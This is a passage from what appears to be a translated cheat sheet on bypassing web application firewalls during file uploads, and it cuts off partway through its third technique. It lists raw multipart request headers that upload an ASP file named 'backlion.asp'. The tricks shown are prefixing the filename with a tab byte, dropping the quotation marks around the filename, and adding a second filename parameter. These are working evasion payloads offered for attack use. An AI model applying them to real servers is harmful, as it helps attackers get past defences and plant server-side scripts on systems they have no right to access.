Tips for file upload to bypass WAF

The original default state ：

1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
2. Content­Disposition: form­data; name=”filepath”; filename="backlion.asp”
3. Content­Type: text/html

breakthrough 0, Prefix the file name with [0x09] Bypass ：

1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
2. Content­Disposition: form­data; name=”filepath”; filename=”[0x09]backlion.asp”
3. Content­Type: text/html

breakthrough 1, Remove the double quotation marks from the file name to bypass ：

1. ——WebKitFormBoundary2smpsxFB3D0KbA7D
2. Content­Disposition: form­data; name=”filepath”; filename=backlion.asp
3. Content­Type: text/html

breakthrough 2, Add one filename1 File name parameter for , And assign a value to bypass ：

1. ——WebKitFor